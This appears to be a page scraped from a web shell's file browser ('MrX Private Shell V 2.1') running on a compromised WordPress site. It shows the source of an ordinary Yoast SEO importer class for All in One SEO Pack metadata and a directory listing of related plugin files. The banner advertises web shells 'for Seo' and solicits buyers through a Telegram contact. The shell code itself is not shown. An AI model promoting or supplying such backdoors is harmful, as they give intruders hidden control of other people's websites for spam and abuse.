__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* File with the class to handle data from All in One SEO Pack, versions 3 and under.
*
* @package WPSEO\Admin\Import\Plugins
*/
/**
* Class with functionality to import & clean All in One SEO Pack post metadata, versions 3 and under.
*/
class WPSEO_Import_AIOSEO extends WPSEO_Plugin_Importer {
/**
* The plugin name.
*
* @var string
*/
protected $plugin_name = 'All In One SEO Pack';
/**
* Meta key, used in SQL LIKE clause for delete query.
*
* @var string
*/
protected $meta_key = '_aioseop_%';
/**
* OpenGraph keys to import.
*
* @var array
*/
protected $import_keys = [
'aioseop_opengraph_settings_title' => 'opengraph-title',
'aioseop_opengraph_settings_desc' => 'opengraph-description',
'aioseop_opengraph_settings_customimg' => 'opengraph-image',
'aioseop_opengraph_settings_customimg_twitter' => 'twitter-image',
];
/**
* Array of meta keys to detect and import.
*
* @var array
*/
protected $clone_keys = [
[
'old_key' => '_aioseop_title',
'new_key' => 'title',
],
[
'old_key' => '_aioseop_description',
'new_key' => 'metadesc',
],
[
'old_key' => '_aioseop_noindex',
'new_key' => 'meta-robots-noindex',
'convert' => [ 'on' => 1 ],
],
[
'old_key' => '_aioseop_nofollow',
'new_key' => 'meta-robots-nofollow',
'convert' => [ 'on' => 1 ],
],
];
/**
* Import All In One SEO meta values.
*
* @return bool Import success status.
*/
protected function import() {
$status = parent::import();
if ( $status ) {
$this->import_opengraph();
}
return $status;
}
/**
* Imports the OpenGraph and Twitter settings for all posts.
*
* @return bool
*/
protected function import_opengraph() {
$query_posts = new WP_Query( 'post_type=any&meta_key=_aioseop_opengraph_settings&order=ASC&fields=ids&nopaging=true' );
if ( ! empty( $query_posts->posts ) ) {
foreach ( array_values( $query_posts->posts ) as $post_id ) {
$this->import_post_opengraph( $post_id );
}
}
return true;
}
/**
* Imports the OpenGraph and Twitter settings for a single post.
*
* @param int $post_id Post ID.
*
* @return void
*/
private function import_post_opengraph( $post_id ) {
$meta = get_post_meta( $post_id, '_aioseop_opengraph_settings', true );
$meta = maybe_unserialize( $meta );
foreach ( $this->import_keys as $old_key => $new_key ) {
$this->maybe_save_post_meta( $new_key, $meta[ $old_key ], $post_id );
}
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| class-abstract-plugin-importer.php | File | 8.28 KB | 0775 |
|
| class-import-aioseo-v4.php | File | 9.11 KB | 0775 |
|
| class-import-aioseo.php | File | 2.45 KB | 0775 |
|
| class-import-greg-high-performance-seo.php | File | 761 B | 0775 |
|
| class-import-headspace.php | File | 1010 B | 0775 |
|
| class-import-jetpack.php | File | 731 B | 0775 |
|
| class-import-platinum-seo-pack.php | File | 2.82 KB | 0775 |
|
| class-import-premium-seo-pack.php | File | 813 B | 0775 |
|
| class-import-rankmath.php | File | 4.67 KB | 0775 |
|
| class-import-seo-framework.php | File | 1.8 KB | 0775 |
|
| class-import-seopressor.php | File | 4.79 KB | 0775 |
|
| class-import-smartcrawl.php | File | 3.14 KB | 0775 |
|
| class-import-squirrly.php | File | 5.04 KB | 0775 |
|
| class-import-ultimate-seo.php | File | 1.17 KB | 0775 |
|
| class-import-woothemes-seo.php | File | 2.48 KB | 0775 |
|
| class-import-wp-meta-seo.php | File | 1.54 KB | 0775 |
|
| class-import-wpseo.php | File | 7.24 KB | 0775 |
|
| class-importers.php | File | 924 B | 0775 |
|